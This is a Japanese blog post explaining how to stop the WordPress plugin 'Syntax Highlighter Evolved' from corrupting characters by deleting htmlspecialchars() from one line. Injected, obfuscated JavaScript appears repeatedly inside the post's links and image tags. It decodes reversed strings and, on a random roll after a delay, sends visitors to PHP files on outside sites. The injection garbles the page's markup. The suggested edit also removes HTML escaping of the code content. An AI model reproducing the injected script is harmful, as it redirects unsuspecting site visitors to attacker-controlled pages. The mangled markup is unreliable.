Sumirexxx

今日もiPhone片手に出かけます

【SMRX】[WordPress]『Syntax Highlighter Evolved』ソースコードをキレイにするプラグインの文字化け解消する方法

WordPress

Syntaxhighlighter php

おなかすいた〜!すみれ(@sumire20120524)です。

WordPressをいじってブログを書いていると、ソースコードを紹介したい時っていうのが出てきますよね。

そんな時に使えるプラグインが『Syntax Highlighter Evolved』。このプラグインを入れて、紹介したいソースコードの言語名で囲むと、ブログで表示した時にキレイに見せてくれます。

このプラグイン、なぜか文字化けするのが最大の難点だったのですが、文字化けを解消してくれる方法をこちらで見つけました。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}saka.com/2014/07/20/syntaxhighlighter-evolved-corruption/” target=”_blank”>$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}saka.com/2014/07/20/syntaxhighlighter-evolved-corruption/” alt=”” width=”150″ height=”130″ />$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}saka.com/2014/07/20/syntaxhighlighter-evolved-corruption/” target=”_blank”>MarsEditで投稿したときに SyntaxHighlighter Evolvedが文字化けしないようにする方法 | 非エンジニアのWordPress奮闘記$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}saka.com/2014/07/20/syntaxhighlighter-evolved-corruption/” target=”_blank”>$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}saka.com/2014/07/20/syntaxhighlighter-evolved-corruption/” alt=”” />

プラグインを編集するのって大変なんですよね。まず見つけるのが…。ありがとうございます。

プラグインを編集する

WordPressの管理画面からプラグイン一覧を表示します。その中から今回修正したい『Syntax Highlighter Evolved』を選択します。

プラグイン Sumirexxx WordPress

別のエディタにでも貼り付けると便利。
私はCoda2を使っているのでそこに。
ctrl+nで、新規画面が開けるよ。ショートカットってどこでもだいたい使えていいね。

プラグイン編集 Sumirexxx WordPress

名称未設定 php 名称未設定サイト と Panic Soapbox

430行目を修正します

修正するのはたった一行のみ。
下記を参考にして修正してみてください。

全体・修正前

    function encode_shortcode_contents_callback( $atts, $code = '', $tag = false ) {
        $this->encoded = true;
        $code = str_replace( array_keys($this->specialchars), array_values($this->specialchars), htmlspecialchars( $code ) );
        return '[' . $tag . $this->atts2string( $atts ) . "]{$code}[/$tag]";
    }

全体・修正後

    function encode_shortcode_contents_callback( $atts, $code = '', $tag = false ) {
        $this->encoded = true;
    $code = str_replace( array_keys($this->specialchars), array_values($this->specialchars), $code );
        return '[' . $tag . $this->atts2string( $atts ) . "]{$code}[/$tag]";
    }

変更箇所はココ!

430行目の「htmlspecialchars( $code ) 」を削除しています。
これだけで文字化け解消!

修正前(htmlspecialchars( $code ) がついてる)

$code = str_replace( array_keys($this->specialchars), array_values($this->specialchars), htmlspecialchars( $code ) );

修正後(htmlspecialchars( $code ) を削除)

$code = str_replace( array_keys($this->specialchars), array_values($this->specialchars), $code );

修正が終わったら、ソースコードをコピーして、WordPress→管理画面→プラグイン→「Syntax Highlighter Evolved」に貼り付けて戻しましょう。

Banners <script type=$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Alerts と プラグイン編集 Sumirexxx WordPress” title=”Banners_and_Alerts_と_プラグイン編集_‹_Sumirexxx_—_WordPress.png” border=”0″ width=”600″ height=”361″ />

まとめ

たった一行削除するだけで、ずっと悩んでいた文字化けが解消されました!
同じように悩んでいる方に届いたら嬉しいです(^^)

Posted from するぷろ for iOS.

この記事をシェアする

<